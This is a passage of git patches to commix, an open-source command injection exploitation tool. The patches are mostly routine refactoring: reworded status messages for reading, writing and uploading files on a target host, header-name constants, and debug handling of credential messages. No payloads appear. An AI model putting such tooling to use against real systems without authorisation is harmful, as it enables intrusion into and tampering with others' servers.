file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
+ if menu.options.file_write:
+ file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ settings.FILE_ACCESS_DONE = True
# eof
\ No newline at end of file
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index e9e92fefc2..cd91cc4534 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -15,16 +15,12 @@
import re
import os
import sys
-from src.thirdparty.six.moves import urllib as _urllib
-
-
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-
-from src.thirdparty.colorama import Fore, Back, Style, init
-
from src.core.requests import requests
+from src.thirdparty.six.moves import urllib as _urllib
+from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.results_based.techniques.eval_based import eb_injector
"""
@@ -151,7 +147,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
+ warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -185,7 +181,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
else:
dest_to_upload = menu.options.file_dest
- info_msg = "Trying to upload the file '"
+ info_msg = "Trying to upload the file from '"
info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
print(settings.print_info_msg(info_msg))
@@ -203,8 +199,8 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.VERBOSITY_LEVEL != 0:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index a57d588e7e..82385e21b4 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -16,13 +16,10 @@
import re
import os
import sys
-from src.thirdparty.six.moves import urllib as _urllib
-
-
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-
+from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.file_based import fb_injector
@@ -53,8 +50,8 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "Fetched content of the file '"
info_msg += file_to_read + "'."
@@ -146,7 +143,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
+ warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -180,7 +177,7 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht
else:
dest_to_upload = menu.options.file_dest
- info_msg = "Trying to upload the file '"
+ info_msg = "Trying to upload the file from '"
info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
print(settings.print_info_msg(info_msg))
@@ -198,13 +195,13 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.VERBOSITY_LEVEL != 0:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file."
+ warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'."
print(settings.print_warning_msg(warn_msg))
"""
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index 031574444a..5baeeb5671 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -20,7 +20,7 @@
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-
+from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index c611c9356c..9dedbf135b 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -16,12 +16,10 @@
import re
import os
import sys
-
-
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-
+from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector
from src.core.injections.semiblind.techniques.file_based import fb_injector
@@ -81,7 +79,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
Write to a file on the target host.
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- _ = True
file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
@@ -157,21 +154,20 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
shell = "".join(str(p) for p in shell)
except TypeError:
pass
- if settings.VERBOSITY_LEVEL == 0 and _:
+ if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
+ warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
print(settings.print_warning_msg(warn_msg))
"""
Upload a file on the target host.
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- _ = False
if settings.TARGET_OS == "win":
# Not yet implemented
pass
@@ -198,7 +194,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
else:
dest_to_upload = menu.options.file_dest
- info_msg = "Trying to upload the file '"
+ info_msg = "Trying to upload the file from '"
info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
print(settings.print_info_msg(info_msg))
@@ -219,14 +215,13 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
shell = "".join(str(p) for p in shell)
except TypeError:
pass
- if settings.VERBOSITY_LEVEL == 0 and _:
+ if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file."
+ warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -234,11 +229,6 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- if menu.options.file_read:
- file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.FILE_ACCESS_DONE == False:
- settings.FILE_ACCESS_DONE = True
-
if menu.options.file_write:
file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
@@ -249,4 +239,8 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
+ if menu.options.file_read:
+ file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ if settings.FILE_ACCESS_DONE == False:
+ settings.FILE_ACCESS_DONE = True
# eof
\ No newline at end of file
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 741f1a97cc..39454a076a 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -188,7 +188,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
minlen = 1
found_chars = False
- info_msg = "Retrieving the length of execution output. "
+ info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')."
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 2:
@@ -276,7 +276,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
check_start = time.time()
output = []
percent = "0.0%"
- info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE + "')."
+ info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')."
if settings.VERBOSITY_LEVEL == 0 :
info_msg += ".. (" + str(percent) + ")"
elif settings.VERBOSITY_LEVEL == 1 :
@@ -349,7 +349,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
float_percent = settings.info_msg
else:
float_percent = ".. (" + str(float_percent) + ")"
- info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE +"')."
+ info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')."
info_msg += float_percent
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index c7814af513..08c9d6f1b5 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -254,16 +254,16 @@ def do_check(request):
if menu.options.cookie and settings.COOKIE_INJECTION == False:
request.add_header(settings.COOKIE, menu.options.cookie)
- if not checks.get_header(request.headers, settings.HTTP_ACCEPT_HEADER):
- request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE)
+ if not checks.get_header(request.headers, settings.ACCEPT):
+ request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE)
# The MIME media type for JSON.
if menu.options.data and not (menu.options.requestfile or menu.options.logfile):
if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
- request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
+ request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
- request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
+ request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
# Default value for "Accept-Encoding" HTTP header
if not (menu.options.requestfile or menu.options.logfile):
@@ -281,7 +281,7 @@ def do_check(request):
settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type)
if menu.options.auth_type == "basic":
b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '')
- request.add_header("Authorization", "Basic " + b64_string + "")
+ request.add_header(settings.AUTHORIZATION, "Basic " + b64_string + "")
elif menu.options.auth_type == "digest":
try:
url = menu.options.url
@@ -344,11 +344,11 @@ def do_check(request):
# The MIME media type for JSON.
if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
- if "Content-Type" not in str(extra_headers):
- request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
+ if settings.CONTENT_TYPE not in str(extra_headers):
+ request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
- if "Content-Type" not in str(extra_headers):
- request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
+ if settings.CONTENT_TYPE not in str(extra_headers):
+ request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
if "Accept-Encoding" not in str(extra_headers):
request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py
index 6346e9ec60..f19d538822 100644
--- a/src/core/tamper/hexencode.py
+++ b/src/core/tamper/hexencode.py
@@ -38,8 +38,9 @@ def tamper(payload):
else:
payload = _urllib.parse.unquote(payload)
- payload = hexencode(payload).encode()
- payload = payload.decode(settings.DEFAULT_CODEC)
+ encoded_payload, _ = hexencode(payload)
+ if _:
+ payload = encoded_payload
return payload
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index bd646e854e..8b6151962e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "48"
+REVISION = "49"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -336,6 +336,9 @@ def sys_argv_errors():
# Local HTTP server port
LOCAL_HTTP_PORT = random.randint(50000,60000)
+HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html"))
+DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~")
+
# Detection / Exploitation phase(s)
DETECTION_PHASE = False
EXPLOITATION_PHASE = False
@@ -974,7 +977,6 @@ def sys_argv_errors():
BAD_GATEWAY = "502"
SERVICE_UNAVAILABLE = "503"
GATEWAY_TIMEOUT = "504"
-
HTTP_ERROR_CODES = [ BAD_REQUEST,
UNAUTHORIZED_ERROR,
FORBIDDEN_ERROR,
@@ -1074,10 +1076,37 @@ def sys_argv_errors():
HOST = "Host"
USER_AGENT = "User-Agent"
REFERER = "Referer"
-HTTP_ACCEPT_HEADER = "Accept"
+ACCEPT = "Accept"
+ACCEPT_CHARSET = "Accept-Charset"
+ACCEPT_ENCODING = "Accept-Encoding"
+ACCEPT_LANGUAGE = "Accept-Language"
+AUTHORIZATION = "Authorization"
+CACHE_CONTROL = "Cache-Control"
+CONNECTION = "Connection"
+CONTENT_ENCODING = "Content-Encoding"
+CONTENT_LENGTH = "Content-Length"
+CONTENT_RANGE = "Content-Range"
+CONTENT_TYPE = "Content-Type"
+EXPIRES = "Expires"
+IF_MODIFIED_SINCE = "If-Modified-Since"
+IF_NONE_MATCH = "If-None-Match"
+LAST_MODIFIED = "Last-Modified"
+LOCATION = "Location"
+PRAGMA = "Pragma"
+PROXY_AUTHORIZATION = "Proxy-Authorization"
+PROXY_CONNECTION = "Proxy-Connection"
+RANGE = "Range"
+REFERER = "Referer"
+REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794
+SERVER = "Server"
+SET_COOKIE = "Set-Cookie"
+TRANSFER_ENCODING = "Transfer-Encoding"
+VIA = "Via"
+X_POWERED_BY = "X-Powered-By"
+X_DATA_ORIGIN = "X-Data-Origin"
# HTTP Headers values
-HTTP_ACCEPT_HEADER_VALUE = "*/*"
+ACCEPT_VALUE = "*/*"
# Regular expression used for ignoring some special chars
IGNORE_SPECIAL_CHAR_REGEX = "[^/(A-Za-z0-9.:,_]+"
diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py
index c4b231ee99..ad63e8dcbe 100644
--- a/src/utils/simple_http_server.py
+++ b/src/utils/simple_http_server.py
@@ -23,6 +23,7 @@
from socket import error as socket_error
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import _thread as thread
+from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.six.moves import socketserver as _socketserver
from src.thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer
@@ -87,14 +88,15 @@ def do_GET(self):
try:
#Open the static file requested and send it
f = open(self.path)
- self.send_response(200)
+ self.send_response(_http_client.OK)
+ self.send_header(settings.CONNECTION, "close")
self.end_headers()
self.wfile.write(f.read().encode())
return
except Exception:
error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)"
- self.wfile.write(error_response.encode())
+ self.wfile.write(error_response.encode())
def log_message(self, format, *args):
return
From 5a4acb857dfb7d36757450c09cd73edcf980b316 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 2 May 2022 08:59:12 +0300
Subject: [PATCH 126/560] Trivial update
---
src/core/main.py | 15 ++++++++-------
src/utils/settings.py | 2 +-
2 files changed, 9 insertions(+), 8 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index f577d3a445..1c3aa5ac86 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -226,10 +226,10 @@ def init_request(url):
debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object."
print(settings.print_debug_msg(debug_msg))
# Used a valid pair of valid credentials
- if menu.options.auth_cred and menu.options.auth_type:
- info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type
- info_msg += " HTTP authentication credentials."
- print(settings.print_info_msg(info_msg))
+ if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL !=0 :
+ debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type
+ debug_msg += " HTTP authentication credentials."
+ print(settings.print_debug_msg(debug_msg))
return request
"""
@@ -408,9 +408,10 @@ def main(filename, url):
# Check if defined "--url" or "-m" option.
if url:
if menu.options.auth_cred and menu.options.auth_type:
- info_msg = "Used a valid pair of " + menu.options.auth_type
- info_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'."
- print(settings.print_bold_info_msg(info_msg))
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Used a valid pair of " + menu.options.auth_type
+ debug_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'."
+ print(settings.print_bold_debug_msg(debug_msg))
session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \
admin_panel=url, username=menu.options.auth_cred.split(":")[0], \
password=menu.options.auth_cred.split(":")[1]
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8b6151962e..fd33f002a0 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "49"
+REVISION = "50"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 6cee207dbd8bc1fc5142749296ab2508140ff54f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 3 May 2022 07:20:35 +0300
Subject: [PATCH 127/560] Trivial update
---
src/core/injections/controller/controller.py | 8 ++------
.../techniques/classic/cb_handler.py | 13 ++++++------
.../techniques/eval_based/eb_handler.py | 14 ++++++-------
.../techniques/file_based/fb_handler.py | 17 ++++++++--------
.../techniques/file_based/fb_injector.py | 4 ++--
src/core/main.py | 3 ++-
src/core/requests/headers.py | 20 +++++++++++--------
src/utils/settings.py | 5 ++++-
8 files changed, 42 insertions(+), 42 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 07217d8538..898a3a749c 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -43,7 +43,6 @@
Check for previously stored sessions.
"""
def check_for_stored_sessions(url, http_request_method):
-
if not menu.options.ignore_session:
if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION:
if not menu.options.tech:
@@ -57,14 +56,12 @@ def check_for_stored_sessions(url, http_request_method):
Check for previously stored injection level.
"""
def check_for_stored_levels(url, http_request_method):
-
if not menu.options.ignore_session:
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
menu.options.level = session_handler.applied_levels(url, http_request_method)
if type(menu.options.level) is not int :
menu.options.level = settings.DEFAULT_INJECTION_LEVEL
-
"""
Heuristic (basic) tests for command injection
"""
@@ -376,7 +373,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0:
warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded."
print(settings.print_warning_msg(warn_msg))
-
+
+ checks.tamper_scripts(stored_tamper_scripts=False)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
@@ -698,8 +696,6 @@ def post_request(url, http_request_method, filename, timesec):
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
menu.options.data = found_parameter[param_counter]
- check_parameter = parameters.vuln_POST_param(menu.options.data, url)
- # Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
param_counter += 1
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 8a173abe42..cefc4f577c 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -331,7 +331,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- print(settings.SINGLE_WHITESPACE)
break
elif file_access_again in settings.CHOICE_NO:
break
@@ -345,13 +344,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
if menu.file_access_options():
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- # Check if defined single cmd.
- if menu.options.os_cmd:
- cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ # Check if defined single cmd.
+ if menu.options.os_cmd:
+ cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- else:
- if menu.file_access_options() or menu.options.os_cmd:
- print(settings.SINGLE_WHITESPACE)
+ else:
+ if menu.file_access_options() or menu.options.os_cmd:
+ print(settings.SINGLE_WHITESPACE)
# Pseudo-Terminal shell
go_back = False
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 6cb0bfd62b..4bfa672b56 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -342,7 +342,6 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- print(settings.SINGLE_WHITESPACE)
break
elif file_access_again in settings.CHOICE_NO:
break
@@ -355,15 +354,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
if menu.file_access_options():
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- # print(settings.SINGLE_WHITESPACE)
- # Check if defined single cmd.
- if menu.options.os_cmd:
- eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ # Check if defined single cmd.
+ if menu.options.os_cmd:
+ eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- else:
- if menu.file_access_options() or menu.options.os_cmd:
- print(settings.SINGLE_WHITESPACE)
+ else:
+ if menu.file_access_options() or menu.options.os_cmd:
+ print(settings.SINGLE_WHITESPACE)
# Pseudo-Terminal shell
go_back = False
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index b79edf8e2f..cb5c35fc27 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -554,7 +554,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
file_access_again= "Y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- print(settings.SINGLE_WHITESPACE)
break
elif file_access_again in settings.CHOICE_NO:
break
@@ -570,15 +569,15 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if menu.file_access_options():
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # Check if defined single cmd.
- if menu.options.os_cmd:
- fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # Delete previous shell (text) files (output)
- delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ # Check if defined single cmd.
+ if menu.options.os_cmd:
+ fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ # Delete previous shell (text) files (output)
+ delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- else:
- if menu.file_access_options() or menu.options.os_cmd:
- print(settings.SINGLE_WHITESPACE)
+ else:
+ if menu.file_access_options() or menu.options.os_cmd:
+ print(settings.SINGLE_WHITESPACE)
try:
# Pseudo-Terminal shell
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index a823fe5dde..11fa8538a6 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -282,7 +282,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE):
while True:
if not menu.options.batch:
question_msg = "Do you want to use URL '" + output
- question_msg += "' for command execution results extraction? [Y/n] > "
+ question_msg += "' as command execution output? [Y/n] > "
procced_option = _input(settings.print_question_msg(question_msg))
else:
procced_option = ""
@@ -307,7 +307,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE):
output = settings.DEFINED_WEBROOT
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction."
+ debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution output."
print(settings.print_debug_msg(debug_msg))
return output
diff --git a/src/core/main.py b/src/core/main.py
index 1c3aa5ac86..8c39fea469 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -471,7 +471,8 @@ def main(filename, url):
pass
# Load tamper scripts
if menu.options.tamper:
- checks.tamper_scripts(stored_tamper_scripts=False)
